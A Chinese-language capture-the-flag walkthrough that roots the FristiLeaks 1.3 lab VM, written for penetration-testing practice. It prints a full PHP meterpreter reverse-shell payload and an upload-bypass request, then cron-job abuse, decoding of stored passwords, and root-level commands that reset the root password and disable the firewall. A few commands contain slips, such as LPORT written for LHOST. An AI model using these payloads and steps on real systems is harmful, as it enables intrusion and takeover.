
准备工作
靶机基本信息
靶机名称:FristiLeaks 1.3
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
root
权限并读取Flag文件
环境配置
- 该靶场为
OVF
格式的虚拟机文件。在进行导入时,应当点击虚拟机软件界面中的File
->Open
按钮导入虚拟机。 - 根据要求,需要手动设置该靶场虚拟机的MAC地址为
08:00:27:A5:A6:76
。

信息收集
主机发现
在Kali Linux中,可以使用如下命令进行主机发现:
shell
netdiscover -r 192.168.2.0/24

从图片中,我们看到了一台不明设备,判断该设备为靶机,IP地址为192.168.2.119
。
网络服务扫描
知道了靶机的IP地址之后,我们可使用nmap
对靶机进行端口扫描:
shell
nmap -A -sV 192.168.2.119

从中得知靶机仅开放了一个端口:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
80 | TCP | HTTP | Apache httpd 2.2.15 ((CentOS ) DAV/2 PHP/5.3.3) |
HTTP
服务的信息:robots.txt
中有三个目录,分别为/cola
,/sisi
,/beer
。
同时得知靶机的操作系统为CentOS Linux
,内核版本在2.6.32
至3.10
之间。
服务探测(HTTP服务)
浏览主页
使用火狐浏览器打开网址:http://192.168.2.119/
,内容如下:
大致翻了翻,网页上有一处指向作者推特的网页链接 (当然访问就别想了),底部为作者的感谢名单,除此之外就没啥了,查看源代码:
HTML
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA
Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
<html>
<body bgcolor="#FF69B4">
<br />
<center><h1> The <a href="https://*******.com/search?q=%23fristileaks">#fristileaks</a> motto:</h1> </center>
<center> <img src="images/keep-calm.png" /> </center>
<br />
Fristileaks 2015-12-11 are:<br>
@meneer,......, @Ar0xA
</body>
</html>
在主页没有发现有效的信息,访问一下之前nmap
探测到的目录,无一例外都是这个页面:

目录扫描
既然没有发现任何信息,那么只好扫描一下目录:
shell
dirsearch -u http://192.168.2.119/ -i 200,301,302,304

好吧。。。连目录扫描也没有发现有效的信息。。。
发现业务目录
渗透似乎陷入了僵局。返回主页,主页上的文字引起了我的注意:Keep calm and drink fristi
,这里的单词fristi
似乎不是常规的名词或形容词,而是一个名称 。结合这句话前面的意思,我打开了这个网址:http://192.168.2.119/fristi
,果然:
眼前是一个登录框,先看下源代码,部分内容如下:
HTML
<html>
<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
</head>
<body>
<center><h1> Welcome to #fristileaks admin portal</h1></center>
<center><img src="data:img/png;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7A......></center><br/>
<!-- More HTML codes ... -->
<!-- iVBORw0KGgoAAAANSUhEUgAAAW0AAA ...... 1qtycQAAAABJRU5ErkJggg== -->
看来靶机开发者将图片编码为Base64
格式之后使用<img>
标签将其嵌入了页面 。而这个网页内有两幅图片,一幅在<img>
标签内,而另一幅藏在网页注释里。
现在新建一份HTML
网页文件,并将隐藏的图片复制到<img>
标签内:
HTML
<img src="data:image/png;base64,iVBORw ...... 1qtycQAAAABJRU5ErkJggg==">
直接得到了隐藏的密码:

再结合前面的提示信息,稍加猜测,就得出了靶机业务的身份凭证:
- 用户名:
eezeepz
- 密码:
keKkeKKeKKeKkEkkEk
登录后台成功:

渗透测试
上传PHPInfo
登录成功后,点击/fristi/login_success.php
下的链接,发现进入了一个文件上传界面:

于是决定随便选择一张图片上传,希望可以获取到文件保存路径,上传之后:

获取到了文件保存路径:http://192.168.2.119/fristi/uploads/
直接打开该网址,页面上只返回了no!
这个英文单词,但是在网址最后输入了上传时的文件名称 后,我们成功访问到了上传的文件。网址为:http://192.168.2.119/fristi/uploads/misaka.jpg
由此得知上传的文件可以被访问,接下来打开BurpSuite
,尝试上传PHP脚本文件:
Text
POST /fristi/do_upload.php HTTP/1.1
Host: 192.168.2.119
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------340830723034255098293852414857
Content-Length: 379
Origin: http://192.168.2.119
Connection: close
Referer: http://192.168.2.119/fristi/upload.php
Cookie: PHPSESSID=bo0mp9umpdr17lhb1eevfkaht6
Upgrade-Insecure-Requests: 1
-----------------------------340830723034255098293852414857
Content-Disposition: form-data; name="fileToUpload"; filename="phpinfo.php.jpg"
Content-Type: image/jpg
<?php phpinfo(); ?>
-----------------------------340830723034255098293852414857
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------340830723034255098293852414857--
发现上传成功了,尝试访问:http://192.168.2.119/fristi/uploads/phpinfo.php.jpg
上传网页木马
既然已经确定了绕过方法,那么接下来我们可以向靶机上传PHP木马。使用msfvenom
可以直接生成反弹端口的PHP木马并在Metasploit
中使用:
shell
msfvenom -p php/meterpreter/reverse_tcp LPORT=192.168.2.108 LPORT=4444 -f raw > [YOUR PATH]
随后打开BurpSuite
,将生成好的木马直接上传:
PHP木马内容:
PHP
<?php
error_reporting(0);
$ip = '192.168.2.108';
$port = 4444;
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
}
if (!$s_type) { die('no socket funcs'); }
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
} else { eval($b); }
die();
?>
然后在终端敲入msfconsole
,打开Metasploit,开始进行监听:
shell
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.2.108
LHOST => 192.168.2.108
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.108:4444
然后访问上传的木马,Meterpreter
就会收到一个连接(网址:http://192.168.2.119/fristi/uploads/reverse_tcp_cmdshell.php.jpg
):
查看操作系统信息:sysinfo
shell
meterpreter > sysinfo
Computer : 192.168.2.119
OS : Linux 192.168.2.119 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64
Meterpreter : php/linux
成功!!
针对靶机Web服务的渗透测试结束,进入权限提升部分。
权限提升
在Meterpreter
中使用ps
命令收集信息,得到的结果如下:
查看进程信息,发现关键的服务都未使用root
用户运行,没有得到有效信息。
于是只好一层层查看目录下的文件。当查看到/var/www/
目录时,在磁盘里发现了文件note.txt
,使用cat
命令打印内容:

文中作者jerry
对eezeepz
说他的家目录一团糟,叫他清理家目录下的文件。这明显是一个提示,我们进入目录/home/eezeepz
:
shell
cd /home/eezeepz
使用ls
命令查看该用户家目录的文件:
我们又发现了note.txt
文件,查看文件内容:
Text
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
文中的内容大致为:Jerry
在他的家目录/home/admin/
下为低权限用户eezeepz
准备了一些常用的命令程序,还告诉eezeepz
如果在/tmp
目录下建立名为runthis
的脚本文件,操作系统会每隔一分钟以admin
用户的身份执行脚本文件。
尝试查看/home/admin
目录,但提示其它用户没有读写、执行权限:

既然如此,那么不妨尝试在/tmp/runthis
文件中加入如下命令:
shell
#! /bin/bash
/home/admin/chmod -R 777 /home/admin
这样操作系统就会以admin
用户的身份执行此条命令,给家目录提权。
等待1
分钟,再次尝试进入并查看admin
用户家目录:
成功!
在家目录下发现如下敏感文件:cryptedpass.txt
、whoisyourgodnow.txt
和cryptpass.py
,前两者为经加密的密码,后者为加密脚本,它们的内容如下:
Text
# cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
# whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
Python
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
可以看到密码的加密方式为:
- 将明文密码进行
Base64
编码; - 反转编码之后的
Base64
密文; - 将反转后的密文再进行一次
rot13
编码。
那么我们的解密脚本只需要将上述流程反着来一遍就行,代码如下:
Python
#! /usr/bin/python3
import codecs
import base64
# 解密函数
def passwd_decode(crypted_pass):
str_base64 = codecs.decode(crypted_pass,'rot13')[::-1]
return str(base64.b64decode(str_base64))
# 主程序部分
pass1 = "mVGZ3O3omkJLmy2pcuTq"
pass2 = "=RFn0AKnlMHMPIzpyuTI0ITG"
print(passwd_decode(pass1) + '\n' + passwd_decode(pass2))
这样就得到了如下明文密码:
经过确认,系统账户的密码如下:
- admin:
thisisalsopw123
- fristigod:
LetThereBeFristi!
现在先登录用户admin
看看(在Meterpreter
中敲入shell
命令):
shell
meterpreter > shell
Process 2181 created.
Channel 2 created.
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.1$ su admin
su admin
Password: LetThereBeFristi!
[admin@192 ~]$
查看了cronjob.py
文件,发现它只是以admin
的权限执行/tmp/runthis
文件,而且该用户也没有sudo
权限 。无奈之下想到了fristigod
用户,于是切换:
shell
su fristigod
切换之后执行cd ~
进入用户家目录,ls -lA
查看文件,没想到竟然发现了:
进入该目录查看文件:
shell
bash-4.1$ ls -lA
ls -lA
total 8
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
好啊,很好啊,就是有点不知道这玩意儿怎么用。回头看看~/.bash_history
:

看样子是个可以以高权限用户执行任意命令的工具,试试:
shell
bash-4.1$ sudo -u fristi ./doCom id
sudo -u fristi ./doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
好啊,非常好。。。(尖叫)(扭曲)(阴暗的爬行) (爬行)(扭动)(阴暗地蠕动)(翻滚)(激烈地爬动)(扭曲)(痉挛)(嘶吼)(蠕动)(阴森的低吼)
接下来直接更改root
用户密码:
shell
bash-4.1$ sudo -u fristi ./doCom passwd root
sudo -u fristi ./doCom passwd root
[sudo] password for fristigod: LetThereBeFristi!
Changing password for user root.
New password: *********
Retype new password: *********
passwd: all authentication tokens updated successfully.
SSH,启动!!!!!!
shell
bash-4.1$ sudo -u fristi ./doCom service sshd start
sudo -u fristi ./doCom service sshd start
Starting sshd: [ OK ]
IPTables,清空!!!!!!
shell
bash-4.1$ sudo -u fristi ./doCom iptables -F
sudo -u fristi ./doCom iptables -F
bash-4.1$ sudo -u fristi ./doCom chkconfig iptables off
sudo -u fristi ./doCom chkconfig iptables off
直接登录SSH:
Flag文件展示
文件名:
fristileaks_secrets.txt
SHA256:281a50c8b96b26b1d8d6ae857e3c04caba35e5277f96f842dfb13b4083fb9887